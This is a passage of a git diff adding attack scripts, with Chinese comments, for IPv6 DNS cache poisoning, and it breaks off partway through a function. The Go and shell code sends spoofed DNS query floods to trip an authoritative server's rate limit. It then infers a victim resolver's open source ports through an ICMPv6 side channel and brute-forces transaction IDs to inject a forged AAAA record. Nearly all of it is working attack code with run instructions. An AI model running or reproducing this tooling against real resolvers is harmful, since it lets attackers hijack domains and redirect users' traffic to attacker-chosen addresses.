+ udpLayer := layers.UDP{
+ SrcPort: srcPort,
+ DstPort: dstPort,
+ }
+
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err)
+ }
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer)
+ if err != nil {
+ fmt.Println("xmitUDPv6 can not send packet", err)
+ }
+
+ if timegap != 0 {
+ time.Sleep(time.Duration(timegap) * time.Microsecond)
+ }
+
+}
diff --git a/att script/5(v6注入)/code/src/flood/go.mod b/att script/5(v6注入)/code/src/flood/go.mod
new file mode 100644
index 0000000..b55b38b
--- /dev/null
+++ b/att script/5(v6注入)/code/src/flood/go.mod
@@ -0,0 +1,20 @@
+module flood
+
+go 1.21
+
+toolchain go1.21.4
+
+require (
+ github.com/google/gopacket v1.1.19
+ github.com/jackpal/gateway v1.0.13
+)
+
+require (
+ github.com/davecgh/go-spew v1.1.1 // indirect
+ github.com/pmezard/go-difflib v1.0.0 // indirect
+ github.com/stretchr/objx v0.5.0 // indirect
+ github.com/stretchr/testify v1.8.4 // indirect
+ golang.org/x/net v0.17.0 // indirect
+ golang.org/x/sys v0.13.0 // indirect
+ gopkg.in/yaml.v3 v3.0.1 // indirect
+)
diff --git a/att script/5(v6注入)/code/src/flood/go.sum b/att script/5(v6注入)/code/src/flood/go.sum
new file mode 100644
index 0000000..1cca74c
--- /dev/null
+++ b/att script/5(v6注入)/code/src/flood/go.sum
@@ -0,0 +1,38 @@
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+github.com/jackpal/gateway v1.0.13 h1:fJccMvawxx0k7S1q7Fy/SXFE0R3hMXkMuw8y9SofWAk=
+github.com/jackpal/gateway v1.0.13/go.mod h1:6c8LjW+FVESFmwxaXySkt7fU98Yv806ADS3OY6Cvh2U=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c=
+github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
+github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
+golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
+golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/att script/5(v6注入)/code/src/flood/ipv6util.go b/att script/5(v6注入)/code/src/flood/ipv6util.go
new file mode 100644
index 0000000..09245d3
--- /dev/null
+++ b/att script/5(v6注入)/code/src/flood/ipv6util.go
@@ -0,0 +1,103 @@
+package main
+
+import (
+ "encoding/hex"
+ "fmt"
+ "net"
+ "os/exec"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+type router struct {
+ ifaces []net.Interface
+ addrs []net.IP
+ v6 routeSlice
+}
+type routeSlice []*rtInfo
+
+type rtInfo struct {
+ // Dst net.IPNet
+ Gateway, PrefSrc net.IP
+ OutputIface uint32
+ Priority uint32
+}
+
+func getv6Gateway() (net.IP, error) {
+ rtr := &router{}
+
+ tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6)
+ if err != nil {
+ return nil, err
+ }
+
+ msgs, err := syscall.ParseNetlinkMessage(tab)
+ if err != nil {
+ return nil, err
+ }
+
+ for _, m := range msgs {
+ switch m.Header.Type {
+ case syscall.NLMSG_DONE:
+ break
+ case syscall.RTM_NEWROUTE:
+ // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0]))
+ attrs, err := syscall.ParseNetlinkRouteAttr(&m)
+ if err != nil {
+ return nil, err
+ }
+ routeInfo := rtInfo{}
+ rtr.v6 = append(rtr.v6, &routeInfo)
+ for _, attr := range attrs {
+ switch attr.Attr.Type {
+ // case syscall.RTA_DST:
+ // routeInfo.Dst.IP = net.IP(attr.Value)
+ // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8)
+ case syscall.RTA_GATEWAY:
+ routeInfo.Gateway = net.IP(attr.Value)
+ case syscall.RTA_OIF:
+ routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PRIORITY:
+ routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PREFSRC:
+ routeInfo.PrefSrc = net.IP(attr.Value)
+ }
+ }
+ }
+ }
+ ips := []net.IP{}
+ for _, rt := range rtr.v6 {
+ if rt.Gateway != nil {
+ ips = append(ips, rt.Gateway)
+ }
+ }
+ return ips[0], nil
+}
+
+func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) {
+ if debugOutput {
+ println("邻居发现--使用网卡接口为:" + ifacename)
+ }
+ out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output()
+ if err != nil {
+ println(err.Error())
+ } else {
+ outlines := strings.Split(string(out), "/n")
+ for _, line := range outlines {
+ linelist := strings.Split(line, " ")
+ // 与网关对应的MAC地址
+ if linelist[0] == gwIP.String() {
+
+ maclist := strings.Split(linelist[2], ":")
+ var macbyte []byte
+ for _, m := range maclist {
+ b, _ := hex.DecodeString(m)
+ macbyte = append(macbyte, b[0])
+ }
+ return net.HardwareAddr(macbyte), nil
+ }
+ }
+ }
+ return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址")
+}
diff --git a/att script/5(v6注入)/code/src/flood/main.go b/att script/5(v6注入)/code/src/flood/main.go
new file mode 100644
index 0000000..be0f1b4
--- /dev/null
+++ b/att script/5(v6注入)/code/src/flood/main.go
@@ -0,0 +1,192 @@
+package main
+
+import (
+ "errors"
+ "flag"
+ "fmt"
+ "math/rand"
+ "net"
+ "os"
+ "strconv"
+
+ "github.com/google/gopacket"
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+)
+
+// 各层的定义
+var ethernetLayer *layers.Ethernet
+var debugOutput = false
+var handle *pcap.Handle
+var repeatTime = 100
+
+func main() {
+ // 读取参数配置
+ ifaceNameArg := flag.String("i", "vmnet1", "用于发送查询包的网络端口")
+ sourceaddrArg := flag.String("saddr", "", "伪造报文的源地址")
+ targetaddrArg := flag.String("taddr", "", "目标权威的地址")
+ qnameArg := flag.String("q", "www.baidu.com.", "请求查询的域名")
+ debugOutputArg := flag.Bool("d", false, "debug模式输出")
+ flag.Parse()
+
+ // 指针->值
+ ifaceName := *ifaceNameArg
+ sourceaddr := *sourceaddrArg
+ targetaddr := *targetaddrArg
+ qname := *qnameArg
+ debugOutput = *debugOutputArg
+ defer os.Exit(0)
+
+ handle, _ = pcap.OpenLive(
+ ifaceName,
+ 65536,
+ true,
+ pcap.BlockForever,
+ )
+
+ // 构造MAC层
+ var srcmac net.HardwareAddr
+ var dstmac net.HardwareAddr
+ if ifaceName == "" {
+ ifaceName = "eth0"
+ }
+
+ // 源MAC
+ loiface, err := net.InterfaceByName(ifaceName)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ srcmac = loiface.HardwareAddr
+ if debugOutput {
+ fmt.Println("源MAC地址为: " + srcmac.String())
+ }
+
+ // 目的MAC
+ // 获取网关地址
+ gwIP, _ := getv6Gateway()
+ fmt.Println("网关IPv6地址为:" + gwIP.String())
+ dstmac, err = GetGatewayIPv6Addr(loiface, gwIP)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ if debugOutput {
+ fmt.Println("目的MAC地址为: " + dstmac.String())
+ }
+
+ // mac层包
+ ethernetLayer = &layers.Ethernet{
+ SrcMAC: srcmac,
+ DstMAC: dstmac,
+ EthernetType: layers.EthernetTypeIPv6,
+ }
+
+ // dns查询
+ for i := 0; i < repeatTime; i++ {
+ go sendDNSRequest(uint16(rand.Uint32()), qname, net.ParseIP(sourceaddr), net.ParseIP(targetaddr))
+ }
+ if debugOutput {
+ fmt.Println("已连续发送" + strconv.Itoa(repeatTime) + "个请求包到" + targetaddr)
+ }
+}
+
+func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
+ opts := gopacket.SerializeOptions{
+ FixLengths: true,
+ ComputeChecksums: true,
+ }
+ buffer := gopacket.NewSerializeBuffer()
+ if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
+ return err
+ }
+ err := handle.WritePacketData(buffer.Bytes())
+ if err != nil {
+ println(err.Error())
+ }
+ return nil
+}
+
+func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To16() != nil {
+ srcIP = ipnet.IP.To16()
+ break
+ }
+ }
+ }
+
+ if srcIP == nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetGatewayIPv6Addr(iface *net.Interface, gatewayIP net.IP) (net.HardwareAddr, error) {
+ gwMAC, err := getGatewayV6Mac(iface.Name, gatewayIP)
+ if err != nil {
+ fmt.Println(err.Error())
+ panic("")
+ }
+ return gwMAC, nil
+}
+
+func sendDNSRequest(id uint16, name string, resolverIP net.IP, authIP net.IP) {
+ if debugOutput {
+ fmt.Println("Send new DNS request", name, id, resolverIP.String(), authIP.String())
+ }
+ _sendDNSRequest(id, name, resolverIP, authIP, (layers.UDPPort)(rand.Uint32()), 53)
+}
+
+func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
+ ipLayer := layers.IPv6{
+ FlowLabel: 1,
+ SrcIP: src,
+ DstIP: dst,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ //Flags: layers.IPv4DontFragment,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: sport,
+ DstPort: dport,
+ }
+ dnsLayer := layers.DNS{
+ ID: id,
+ QR: false,
+ OpCode: 0,
+ AA: false,
+ TC: false,
+ RD: true,
+ RA: false,
+ Z: 0,
+ ResponseCode: 0,
+ QDCount: 1,
+ ANCount: 0,
+ NSCount: 0,
+ ARCount: 0,
+ Questions: []layers.DNSQuestion{{
+ Name: []byte(name),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }},
+ Authorities: nil,
+ Additionals: nil,
+ }
+
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
+ }
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ sendDNSRequest: ", err)
+ }
+}
diff --git a/att script/5(v6注入)/code/start.sh b/att script/5(v6注入)/code/start.sh
new file mode 100644
index 0000000..03b7812
--- /dev/null
+++ b/att script/5(v6注入)/code/start.sh
@@ -0,0 +1,38 @@
+# 目前仅考虑篡改或注入AAAA记录
+# $1 for victim resolver IP, $2 想要篡改的IPv6地址结果, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
+# Please run with sudo.
+
+# Verify the existing record domain, just for proof purposes.
+echo '获取原记录中:'
+dig @$1 $4 AAAA
+sleeptime=0
+sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
+
+echo "等待缓存过期,$sleeptime 秒之后开始攻击..."
+sleep $sleeptime
+
+echo "开始攻击"
+echo "攻击参数:"
+echo "目标域名权威服务地址:$5"
+echo "目标解析服务地址:$1"
+echo "目标域名:$4"
+
+# 伪造目标服务IPv6地址向权威服务器发送大量查询 [权威][目标IP][目标域名][网络接口]
+bash ./dns_query.sh $5 $1 $4 $3
+
+# 开始攻击
+# Change the argument accordingly
+echo "执行侧信道攻击脚本中"
+./fakedns6 -a=$5 -b=$1 -i=$3 -n=$4 -r=$1 -t 50000 -ad=$2 -tg 0 -s 10000 -e 65000 -j 0 -d=true
+
+
+ # Validations
+echo "攻击结束"
+dig @$1 $4 AAAA
+
+sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
+echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
+
+echo '等待两秒...'
+sleep 2
+dig @$1 $4 AAAA
diff --git a/att script/5(v6注入)/说明文档.docx b/att script/5(v6注入)/说明文档.docx
new file mode 100644
index 0000000..74605e2
--- /dev/null
+++ b/att script/5(v6注入)/说明文档.docx
Binary files differ
diff --git a/att script/6(v6篡改)/code/attack.sh b/att script/6(v6篡改)/code/attack.sh
new file mode 100644
index 0000000..d67ca19
--- /dev/null
+++ b/att script/6(v6篡改)/code/attack.sh
@@ -0,0 +1,3 @@
+chmod 777 ./start.sh
+chmod 777 ./dns_query.sh
+./start.sh $1 $2 $3 $4 $5 \ No newline at end of file
diff --git a/att script/6(v6篡改)/code/dns_OPT.bin b/att script/6(v6篡改)/code/dns_OPT.bin
new file mode 100644
index 0000000..e0dcbc1
--- /dev/null
+++ b/att script/6(v6篡改)/code/dns_OPT.bin
Binary files differ
diff --git a/att script/6(v6篡改)/code/dns_end.bin b/att script/6(v6篡改)/code/dns_end.bin
new file mode 100644
index 0000000..8aa4774
--- /dev/null
+++ b/att script/6(v6篡改)/code/dns_end.bin
Binary files differ
diff --git a/att script/6(v6篡改)/code/dns_query.sh b/att script/6(v6篡改)/code/dns_query.sh
new file mode 100644
index 0000000..dbc0266
--- /dev/null
+++ b/att script/6(v6篡改)/code/dns_query.sh
@@ -0,0 +1,8 @@
+# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] domain... (e.g. www google com)
+# write the domain name into the binary
+echo "初始化工具环境"
+# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
+# fire!
+go version
+echo "尝试触发权威服务器请求速率限制"
+./flood -i $4 -saddr $2 -taddr $1 -q $3
diff --git a/att script/6(v6篡改)/code/dns_start.bin b/att script/6(v6篡改)/code/dns_start.bin
new file mode 100644
index 0000000..e6e4242
--- /dev/null
+++ b/att script/6(v6篡改)/code/dns_start.bin
Binary files differ
diff --git a/att script/6(v6篡改)/code/src/fakedns6/attack.go b/att script/6(v6篡改)/code/src/fakedns6/attack.go
new file mode 100644
index 0000000..6cc6f87
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/fakedns6/attack.go
@@ -0,0 +1,685 @@
+package main
+
+import (
+ "flag"
+ "fmt"
+ "github.com/google/gopacket"
+ "log"
+ "math/rand"
+ "net"
+ "os"
+ "strconv"
+ "sync"
+ "time"
+
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+ "github.com/google/gopacket/routing"
+)
+
+var handle *pcap.Handle
+var ethernetLayer *layers.Ethernet
+var victimDNSName string
+var dnsQueryName string
+var authIP net.IP
+var resolverIP net.IP
+var localIP []net.IP
+var defaultJitter uint
+var gotReply = false
+var attackerControlledDomain string
+var attackForwarder bool
+var repeatTimes int
+var timeGap uint
+var attTargetAddr string
+var soaName string
+
+var jitter uint = 10
+var rtt uint = 1 // in ms
+var debugOutput = true
+
+const GROUP_SIZE = 50
+
+/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */
+//var sendingChannel chan *outgoingPacket
+var backendResolvers = make([]*backendResolver, 0)
+var bruteForceShouldBeKilled = false
+
+type backendResolver = struct {
+ resolverBackendIP net.IP
+
+ // [端口组ID][端口]
+ groups [][]uint16 // = make([][]uint16, 65536)
+ groupIDCounter uint32 // = 3
+ groupIDCounterLock *sync.Mutex
+ groupSendTime []time.Time // = make([]time.Time, 65536)
+
+ probeChannel chan uint32 //= make(chan uint16, 655)
+ priorityProbeChannel chan uint32 //= make(chan uint16, 655)
+ alwaysOpenPorts []bool //= make([]bool, 65536)
+
+ perIPLimitCounter []int //= 6
+
+ networkXmitLock *sync.Mutex
+}
+
+// timeout in ms, 持续触发查询请求
+func dnsRequestSender(timeout uint) {
+ for {
+ gotReply = false
+ sendDNSRequest(uint16(rand.Uint32()), dnsQueryName)
+ retryTimes := timeout / 500
+ for {
+ if !gotReply {
+ time.Sleep(500 * time.Millisecond)
+ retryTimes--
+ if retryTimes == 0 {
+ break
+ }
+ } else {
+ if debugOutput {
+ fmt.Println("接收到响应 ", timeout-retryTimes*500, "ms")
+ } else {
+ fmt.Println("Rx")
+ }
+ break
+ }
+ }
+ if !attackForwarder {
+ //dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName
+ dnsQueryName = victimDNSName
+ } else {
+ /* I'm not sure if we should change the nonce. */
+ dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain
+ }
+ }
+}
+
+func receivingThread() {
+ for {
+ data, captureInfo, err := handle.ReadPacketData()
+ if err == pcap.NextErrorTimeoutExpired {
+ continue
+ } else if err != nil {
+ log.Printf("error reading packet: %v", err)
+ continue
+ }
+
+ // Parse the packet. We'd use DecodingLayerParser here if we
+ // wanted to be really fast.
+ packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
+
+ // Find the packets we care about, and print out logging
+ // information about them. All others are ignored.
+ if rspNet := packet.NetworkLayer(); rspNet == nil {
+ continue
+ } else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil {
+ continue
+ //} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil {
+ } else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil {
+ continue
+ } else if rspIP.NextHeader != layers.IPProtocolICMPv6 {
+ if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 {
+ rspUDPLayer := packet.Layer(layers.LayerTypeUDP)
+ if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 {
+ rspDNSLayer := packet.Layer(layers.LayerTypeDNS)
+ if rspDNSLayer != nil {
+ rspDNS := rspDNSLayer.(*layers.DNS)
+ if rspDNS.QR == true {
+ if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName &&
+ string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName {
+ fmt.Println("Success!!")
+ os.Exit(0)
+ } else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr {
+ for _, record := range rspDNS.Answers {
+ if record.Type == layers.DNSTypeAAAA {
+ fmt.Println("AAAA记录修改成功!!")
+ os.Exit(0)
+ }
+ }
+ } else if string(rspDNS.Questions[0].Name) == dnsQueryName {
+ gotReply = true
+ }
+ }
+ }
+ }
+ }
+ continue
+ } else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil {
+ continue
+ } else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok {
+ continue
+ } else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) &&
+ rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) {
+ continue
+ } else if nestedIpData := rspICMP.Payload; nestedIpData == nil {
+ continue
+ } else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil {
+ continue
+ } else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil {
+ continue
+ } else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil {
+ continue
+ } else {
+ r := getBackendResolver(nestedIp.DstIP)
+ if r != nil {
+
+ nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP)
+ if nestedUDPLayer == nil {
+ fmt.Println("nestedUDPLayer == nil")
+ continue
+ }
+ nestedUDP := nestedUDPLayer.(*layers.UDP)
+ if nestedUDP == nil {
+ fmt.Println("nestedUDP == nil")
+ continue
+ }
+
+ //got verification packet back
+ if nestedIp.FlowLabel > 1 {
+ //update rtt
+ /* Potential BUG: rtt of both resolver may not be the same. */
+ newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1
+ if newrtt >= 0 && newrtt < 5000 {
+ var draftJitter uint = 0
+ if uint(newrtt) > rtt {
+ draftJitter = uint(newrtt) - rtt
+ } else {
+ draftJitter = (jitter + (rtt - uint(newrtt))) / 2
+ }
+ if jitter > 30 {
+ fmt.Println("Jitter > 30ms!")
+ jitter = 10
+ } else {
+ jitter = draftJitter
+ }
+ rtt = uint(newrtt)
+ if debugOutput {
+ fmt.Println("rtt=", rtt, ", jitter=", jitter)
+ }
+ } else {
+ fmt.Println("newrtt error:", newrtt)
+ }
+ //reduce ratelimit counter
+ localIPNum := getLocalIPNum(nestedIp.SrcIP)
+ if localIPNum != -1 {
+ if r.perIPLimitCounter[localIPNum] >= 0 {
+ r.perIPLimitCounter[localIPNum]--
+ }
+ if r.perIPLimitCounter[localIPNum] < 0 {
+ if debugOutput {
+ /* This may happen in real attacks. Don't panic :). */
+ fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0")
+ }
+ }
+ if debugOutput {
+ fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum])
+ }
+ } else {
+ if debugOutput {
+ fmt.Println("received unwanted ICMP for", nestedIp.SrcIP)
+ }
+ }
+ //process the packet
+ binarySearch(r, nestedIp.FlowLabel)
+ }
+ }
+ }
+ }
+}
+
+func binarySearch(r *backendResolver, flowlabel uint32) {
+ groupLen := 0
+ group := r.groups[flowlabel]
+
+ for _, port := range group {
+ if port != 65535 {
+ groupLen++
+ } else {
+ break
+ }
+ }
+
+ if groupLen == 1 {
+ //brute force
+ r.networkXmitLock.Lock()
+ fmt.Println("猜测开放端口为: " + strconv.Itoa(int(group[0])))
+ dnsBruteForce(group[0], timeGap, r.resolverBackendIP, attTargetAddr)
+ r.networkXmitLock.Unlock()
+ r.alwaysOpenPorts[group[0]] = true
+ } else if groupLen > 1 {
+ var repeatTimes1 int
+ if repeatTimes > 1 {
+ repeatTimes1 = repeatTimes + 1
+ } else {
+ repeatTimes1 = 1
+ }
+ for j := 0; j < repeatTimes1; j++ {
+ //二分法定位开放端口
+ //left
+ id := allocateGroupID(r)
+ r.groups[id] = make([]uint16, groupLen/2)
+ copy(r.groups[id], group[0:groupLen/2])
+ for len(r.groups[id]) < GROUP_SIZE {
+ r.groups[id] = append(r.groups[id], 65535)
+ }
+ if debugOutput {
+ fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2)
+ } else {
+ fmt.Println("Found something interesting!")
+ }
+ r.priorityProbeChannel <- flowlabel
+
+ //right
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, groupLen-groupLen/2)
+ copy(r.groups[id], group[groupLen/2:groupLen])
+ for len(r.groups[id]) < GROUP_SIZE {
+ r.groups[id] = append(r.groups[id], 65535)
+ }
+ //fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2)
+ r.priorityProbeChannel <- flowlabel
+ }
+ } else {
+ if debugOutput {
+ fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel)
+ for _, port := range group {
+ fmt.Print(port)
+ }
+ }
+ }
+}
+
+func perIPLimitRecover(r *backendResolver, num int) {
+ for {
+ if r.perIPLimitCounter[num] < 6 {
+ time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond)
+ r.perIPLimitCounter[num]++
+ } else {
+ time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond)
+ }
+ }
+}
+
+func probeSender(r *backendResolver) {
+ for {
+
+ var flow uint32
+ select {
+ case flow = <-r.priorityProbeChannel:
+ break
+ case flow = <-r.probeChannel:
+ break
+ //default:
+ // time.Sleep(time.Microsecond)
+ }
+
+ // 当所有IP都测试过且端口组中只有一个端口时,进行TXID暴力破解
+ if getIPwithAvailableCounter(r) == nil && r.groups[flow][1] == 65535 {
+ //brute force
+ fmt.Println("猜测开放端口为:" + strconv.Itoa(int(r.groups[flow][0])))
+ fmt.Println("开始爆破事务ID")
+ r.networkXmitLock.Lock()
+ dnsBruteForce(r.groups[flow][0], timeGap, r.resolverBackendIP, attTargetAddr)
+ r.networkXmitLock.Unlock()
+ r.alwaysOpenPorts[r.groups[flow][0]] = true
+ continue
+ }
+ // 测试每个IP的速率限制
+ var verifyIP net.IP
+ for {
+ verifyIP = getIPwithAvailableCounter(r)
+ if verifyIP == nil {
+ time.Sleep(time.Millisecond)
+ } else {
+ break
+ }
+ }
+
+ //send
+ ports := r.groups[flow]
+ r.networkXmitLock.Lock()
+ for i := 0; i < GROUP_SIZE; i++ {
+ if defaultJitter <= 3 {
+ if attackForwarder {
